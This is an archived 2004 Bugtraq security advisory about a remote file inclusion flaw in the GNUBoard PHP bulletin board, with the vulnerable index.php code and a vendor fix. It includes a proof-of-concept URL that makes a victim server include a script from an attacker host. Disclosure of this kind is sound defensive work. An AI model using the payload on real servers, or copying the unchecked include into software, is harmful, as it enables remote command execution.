lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20041215173433.16478.qmail@www.securityfocus.com>
Date: 15 Dec 2004 17:34:33 -0000
From: <advisory@...security.com>
To: bugtraq@...urityfocus.com
Subject: STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection
    vulnerability




STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection
vulnerability

Revision 1.0
Date Published: 2004-12-14 (KST)
Last Update: 2004-12-14
Disclosed by SSR Team (advisory@...security.com)

Summary
========
GNUBoard is one of widely used web BBS applications in Korea. Because of an
input validation flaw, a malicious attack can run arbitrary commands with
the privilege of the HTTPD process, which is typically run as the nobody
user.

Vulnerability Class
===================
Implementation Error: Input validation flaw

Impact
======
High : arbitrary command execution.

Affected Products
================
GNUBoard 3.39 and prior versions
php.ini : register_globals = On

Vendor Status: FIXED
====================
2004-12-06 Vulnerability found.
2004-12-06 GNUBoard developer notified.
2004-12-06 GNUBoard 3.40 is released.
2004-12-14 Official release.

Details
=======
For improper verification of input value of the parameter, the "doc"
parameter in "index.php" can be exploited to include arbitrary files of
external or local resources to execute arbitary commands.

index.php
- - ----
if (!$doc) {  (1) <-- check point
    $doc = './main.php';
}

// php ??? ??? ??? ? ??
$tmp = explode(".", $doc);
$extension = $tmp[count($tmp)-1];
if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) || count($tmp)<=1)
{
    echo "php php3 htm html phtml ??? ??? ? ????.";
    exit;
}
......
ob_start();
include $doc; (2) <-- include point
- - ----

Proof of concept :
http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php

Solution
=========
Update to 3.40
http://sir.co.kr/?doc=bbs/gnuboard.php&bo_table=pds&page=1&wr_id=1871

Vendor URL
==========
http://www.sir.co.kr/

Credits
======
Jeremy Bae at STG Security


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ